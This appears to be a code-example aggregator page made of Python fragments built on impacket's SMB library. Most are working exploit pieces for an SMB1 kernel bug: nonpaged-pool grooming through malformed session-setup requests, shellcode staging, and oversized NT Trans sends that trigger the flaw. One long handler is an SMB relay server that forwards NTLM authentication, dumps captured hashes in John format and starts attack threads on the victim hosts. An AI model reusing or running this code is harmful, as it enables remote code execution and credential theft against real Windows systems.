    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

    sessionSetup['Parameters'][
        'MaxBufferSize'] = 61440  # can be any value greater than response size
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VcNumber'] = os.getpid()
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters']['SecurityBlobLength'] = 0
    sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY

    # I believe this is another SMB1 bug.
    # Empty SecurityBlob with CAP_EXTENDED_SECURITY but no FLAGS2_EXTENDED_SECURITY makes target confused the request type.
    # This request should be https://msdn.microsoft.com/en-us/library/cc246328.aspx. After some checking, a target use
    #   this request as https://msdn.microsoft.com/en-us/library/ee441849.aspx. So a target reads ByteCount from wrong offset.
    sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('SMB1 session setup allocate nonpaged pool success')
    else:
        print('SMB1 session setup allocate nonpaged pool failed')
    return conn
Ejemplo n.º 22
0
    def loop_write_andx(self,tid,fid,data, offset = 0, wait_answer=1):
        pkt = smb.NewSMBPacket()
        pkt['Flags1'] = 0x18
        pkt['Flags2'] = 0
        pkt['Tid']    = tid

        writeAndX = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
        pkt.addCommand(writeAndX)
        
        writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters()
        writeAndX['Parameters']['Fid'] = fid
        writeAndX['Parameters']['Offset'] = offset
        writeAndX['Parameters']['WriteMode'] = 0
        writeAndX['Parameters']['Remaining'] = len(data)
        writeAndX['Parameters']['DataLength'] = len(data)
        writeAndX['Parameters']['DataOffset'] = len(pkt)
        writeAndX['Data'] = data+('A'*4000)

        saved_offset = len(pkt)

        writeAndX2 = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
        pkt.addCommand(writeAndX2)

        writeAndX2['Parameters'] = smb.SMBWriteAndX_Parameters()
        writeAndX2['Parameters']['Fid'] = fid
        writeAndX2['Parameters']['Offset'] = offset
        writeAndX2['Parameters']['WriteMode'] = 0
        writeAndX2['Parameters']['Remaining'] = len(data)
        writeAndX2['Parameters']['DataLength'] = len(data)
        writeAndX2['Parameters']['DataOffset'] = len(pkt)
        writeAndX2['Data'] = '<pata>\n'

        writeAndX2['Parameters']['AndXCommand'] = self.SMB_COM_WRITE_ANDX
        writeAndX2['Parameters']['AndXOffset'] = saved_offset

        self.sendSMB(pkt)

        if wait_answer:
            pkt = self.recvSMB()
            if pkt.isValidAnswer(self.SMB_COM_WRITE_ANDX):
                return pkt
        return None
Ejemplo n.º 23
0
def createSessionAllocNonPaged(target, size):
    # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
    # You can see the allocation logic (even code is not the same) in WinNT4 source code
    # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
    conn = smb.SMB(target, target)
    _, flags2 = conn.get_flags()
    # FLAGS2_EXTENDED_SECURITY MUST not be set
    flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()

    sessionSetup['Parameters'][
        'MaxBuffer'] = 61440  # can be any value greater than response size
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VCNumber'] = os.getpid()
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters']['AnsiPwdLength'] = 0
    sessionSetup['Parameters']['UnicodePwdLength'] = 0
    sessionSetup['Parameters']['Capabilities'] = 0x80000000

    # set ByteCount here
    sessionSetup['Data'] = pack('<H', size) + '\x00' * 20
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('SMB1 session setup allocate nonpaged pool success')
    else:
        print('SMB1 session setup allocate nonpaged pool failed')
    return conn
    def send_echo_request(connection, tid, data):
        packet = smb.NewSMBPacket()
        packet['Tid'] = tid

        transfer_command = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
        transfer_command['Parameters'] = smb.SMBEcho_Parameters()
        transfer_command['Data'] = smb.SMBEcho_Data()
        transfer_command['Parameters']['EchoCount'] = 1
        transfer_command['Data']['Data'] = data

        packet.addCommand(transfer_command)

        connection.sendSMB(packet)
        retval_packet = connection.recvSMB()

        if retval_packet.getNTStatus() == 0:
            print("echo request succeeded")
        else:
            print("bad echo request: 0x{:x}".format(
                retval_packet.getNTStatus()))
Ejemplo n.º 25
0
	def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None):
		if mid is None:
			mid = self.next_mid()
		
		pkt = smb.NewSMBPacket()
		pkt.addCommand(smbReq)
		pkt['Tid'] = self._default_tid if tid is None else tid
		pkt['Uid'] = self._uid
		pkt['Pid'] = self._pid if pid is None else pid
		pkt['Mid'] = mid
		flags1, flags2 = self.get_flags()
		pkt['Flags1'] = flags1
		pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2
		
		if self._SignatureEnabled:
			pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
			self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
			
		req = str(pkt)
		return '\x00'*2 + pack('>H', len(req)) + req  # assume length is <65536
Ejemplo n.º 26
0
def login_put_staging_sc(conn, staging_sc, maxBufferSize):
    _, flags2 = conn.get_flags()

    # FLAGS2_EXTENDED_SECURITY MUST not be set
    flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    flags2 |= smb.SMB.FLAGS2_UNICODE
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
    sessionSetup['Parameters']['MaxBufferSize'] = maxBufferSize
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VcNumber'] = 2  # any non-zero
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters'][
        'SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
    # UnicodePasswordLen field is in Reserved for extended security format.
    sessionSetup['Parameters'][
        'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS

    # allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes)
    # UNICODE.maxBufferSize: 0x15ff
    # after maxBufferSize is padding which is '\x00'*4
    # so code is 'ff 15 00 00 00 00' => call [rip+0]
    # after padding is pointer to allocated npp and shellcode there
    sessionSetup['Data'] = pack('<H',
                                0x1604) + '\x00' * 5 + staging_sc + '\x00' * 8
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX):
        print('SMB1 session setup allocate nonpaged pool success')
        conn.set_uid(recvPkt['Uid'])
    else:
        print('SMB1 session setup allocate nonpaged pool failed')
        sys.exit()
    def create_alloc_session(target, size):
        connection = smb.SMB(target, target)
        _, flags = connection.get_flags()
        flags &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

        if size >= 0xffff:
            flags &= ~smb.SMB.FLAGS2_UNICODE
            request_size = size // 2
        else:
            flags |= smb.SMB.FLAGS2_UNICODE
            request_size = size

        connection.set_flags(flags2=flags)

        packet = smb.NewSMBPacket()

        session_setup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
        session_setup[
            'Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
        session_setup['Parameters']['MaxBufferSize'] = 61440
        session_setup['Parameters']['MaxMpxCount'] = 2
        session_setup['Parameters']['VcNumber'] = 2
        session_setup['Parameters']['SessionKey'] = 0
        session_setup['Parameters']['SecurityBlobLength'] = 0
        session_setup['Parameters'][
            'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY
        session_setup['Data'] = struct.pack('<H', request_size) + '\x00' * 20

        packet.addCommand(session_setup)

        connection.sendSMB(packet)

        retval_packet = connection.recvSMB()
        if retval_packet.getNTStatus() == 0:
            print('SMB1 session setup allocate nonpaged pool success')
        else:
            print('SMB1 session setup allocate nonpaged pool failed')
        return connection
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
    pkt = smb.NewSMBPacket()
    pkt['Tid'] = tid

    command = pack('<H', setup)

    # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
    transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
    transCommand['Parameters']['MaxSetupCount'] = 1
    transCommand['Parameters']['MaxParameterCount'] = len(param)
    transCommand['Parameters']['MaxDataCount'] = 0
    transCommand['Data'] = smb.SMBTransaction2_Data()

    transCommand['Parameters']['Setup'] = command
    transCommand['Parameters']['TotalParameterCount'] = len(param)
    transCommand['Parameters']['TotalDataCount'] = len(data)

    fixedOffset = 32+3+38 + len(command)
    if len(param) > 0:
        padLen = (4 - fixedOffset % 4 ) % 4
        padBytes = '\xFF' * padLen
        transCommand['Data']['Pad1'] = padBytes
    else:
        transCommand['Data']['Pad1'] = ''
        padLen = 0

    transCommand['Parameters']['ParameterCount'] = len(param)
    transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

    if len(data) > 0:
        pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
        transCommand['Data']['Pad2'] = '\xFF' * pad2Len
    else:
        transCommand['Data']['Pad2'] = ''
        pad2Len = 0

    transCommand['Parameters']['DataCount'] = firstDataFragmentSize
    transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

    transCommand['Data']['Trans_Parameters'] = param
    transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
    pkt.addCommand(transCommand)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB() # must be success
    if recvPkt.getNTStatus() == 0:
        module.log('got good NT Trans response')
    else:
        module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
        sys.exit(1)

    # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
    i = firstDataFragmentSize
    while i < len(data):
        sendSize = min(4096, len(data) - i)
        if len(data) - i <= 4096:
            if not sendLastChunk:
                break
        send_trans2_second(conn, tid, data[i:i+sendSize], i)
        i += sendSize

    if sendLastChunk:
        conn.recvSMB()
    return i
Ejemplo n.º 29
0
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus=False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters'][
                'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            )
            respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
                'SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            if struct.unpack(
                    'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
                # If there no GSSAPI ID, it must be an AUTH packet
                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
                token = blob['ResponseToken']
            else:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
                token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack(
                '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = smbData[self.target]['SMBClient']
                challengeMessage = self.do_ntlm_negotiate(client, token)
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = str(challengeMessage)

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED
                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10
                # Let's store it in the connection data
                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication

                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = smbData[self.target]['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    connData['AUTHUSER'] = authenticateMessage['user_name']
                    self.authUser = connData['AUTHUSER']
                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, sessionSetupData['SecurityBlob'],
                        connData['CHALLENGE_MESSAGE']['challenge'])
                    #clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet[
                        'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet[
                        'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid'] = recvPacket['Pid']
                    packet['Tid'] = recvPacket['Tid']
                    packet['Mid'] = recvPacket['Mid']
                    packet['Uid'] = recvPacket['Uid']
                    packet['Data'] = '\x00\x00\x00'
                    packet['ErrorCode'] = errorCode >> 16
                    packet['ErrorClass'] = errorCode & 0xff
                    # Reset the UID
                    if self.target[0] == 'SMB':
                        client.setUid(0)
                    logging.error(
                        "Authenticating against %s as %s\%s FAILED" %
                        (self.target, authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))

                    #Log this target as processed for this client
                    self.targetprocessor.log_target(connData['ClientIP'],
                                                    self.target)
                    #del (smbData[self.target])
                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    logging.info(
                        "Authenticating against %s as %s\%s SUCCEED" %
                        (self.target, authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))
                    #Log this target as processed for this client
                    self.targetprocessor.log_target(connData['ClientIP'],
                                                    self.target)
                    ntlm_hash_data = outputToJohnFormat(
                        connData['CHALLENGE_MESSAGE']['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    logging.info(ntlm_hash_data['hash_string'])
                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())
                    del (smbData[self.target])
                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = '\x00'

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters[
                'SecurityBlobLength']
            respData['SecurityBlob'] = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                'AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                'UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']
            #############################################################
            # SMBRelay
            smbClient = smbData[self.target]['SMBClient']
            if sessionSetupData['Account'] != '':
                #TODO: Fix this for other protocols than SMB [!]
                clientResponse, errorCode = smbClient.login_standard(
                    sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet[
                    'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet[
                    'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid'] = recvPacket['Pid']
                packet['Tid'] = recvPacket['Tid']
                packet['Mid'] = recvPacket['Mid']
                packet['Uid'] = recvPacket['Uid']
                packet['Data'] = '\x00\x00\x00'
                packet['ErrorCode'] = errorCode >> 16
                packet['ErrorClass'] = errorCode & 0xff
                # Reset the UID
                smbClient.setUid(0)
                #Log this target as processed for this client
                self.targetprocessor.log_target(connData['ClientIP'],
                                                self.target)
                return None, [packet], errorCode
                # Now continue with the server
            else:
                # We have a session, create a thread and do whatever we want
                ntlm_hash_data = outputToJohnFormat(
                    '', sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
                logging.info(ntlm_hash_data['hash_string'])
                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())
                #TODO: Fix this for other protocols than SMB [!]
                clientThread = self.config.attacks['SMB'](self.config,
                                                          smbClient,
                                                          self.config.exeFile,
                                                          self.config.command)
                clientThread.start()

                #Log this target as processed for this client
                self.targetprocessor.log_target(connData['ClientIP'],
                                                self.target)

                # Remove the target server from our connection list, the work is done
                del (smbData[self.target])
                # Now continue with the server

            #############################################################

            # Do the verification here, for just now we grant access
            # TODO: Manage more UIDs for the same session
            errorCode = STATUS_SUCCESS
            connData['Uid'] = 10
            respParameters['Action'] = 0

        respData['NativeOS'] = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        # From now on, the client can ask for other commands
        connData['Authenticated'] = True
        #############################################################
        # SMBRelay
        smbServer.setConnectionData('SMBRelay', smbData)
        #############################################################
        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
Ejemplo n.º 30
0
    def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId)

        resp = smb.NewSMBPacket()
        resp['Flags1'] = smb.SMB.FLAGS1_REPLY
        resp[
            'Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket[
                'Flags2'] & smb.SMB.FLAGS2_UNICODE

        resp['Tid'] = recvPacket['Tid']
        resp['Mid'] = recvPacket['Mid']
        resp['Pid'] = connData['Pid']

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
        respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
        respData = smb.SMBTreeConnectAndXResponse_Data()

        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(
            SMBCommand['Parameters'])

        if treeConnectAndXParameters['Flags'] & 0x8:
            respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters(
            )

        treeConnectAndXData = smb.SMBTreeConnectAndX_Data(
            flags=recvPacket['Flags2'])
        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[
            'PasswordLength']
        treeConnectAndXData.fromString(SMBCommand['Data'])

        errorCode = STATUS_SUCCESS

        UNCOrShare = decodeSMBString(recvPacket['Flags2'],
                                     treeConnectAndXData['Path'])

        # Is this a UNC?
        if ntpath.ismount(UNCOrShare):
            path = UNCOrShare.split('\\')[3]
        else:
            path = ntpath.basename(UNCOrShare)

        # We won't search for the share.. all of them exist :P
        smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO)
        #share = searchShare(connId, path, smbServer)
        share = {}
        # Simple way to generate a Tid
        if len(connData['ConnectedShares']) == 0:
            tid = 1
        else:
            tid = connData['ConnectedShares'].keys()[-1] + 1
        connData['ConnectedShares'][tid] = share
        connData['ConnectedShares'][tid]['path'] = '/'
        connData['ConnectedShares'][tid]['shareName'] = path
        resp['Tid'] = tid
        #smbServer.log("Connecting Share(%d:%s)" % (tid,path))

        respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS

        if path == 'IPC$':
            respData['Service'] = 'IPC'
        else:
            respData['Service'] = path
        respData['PadLen'] = 0
        respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'],
                                                       'NTFS')

        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        resp['Uid'] = connData['Uid']
        resp.addCommand(respSMBCommand)
        smbServer.setConnectionData(connId, connData)

        return None, [resp], errorCode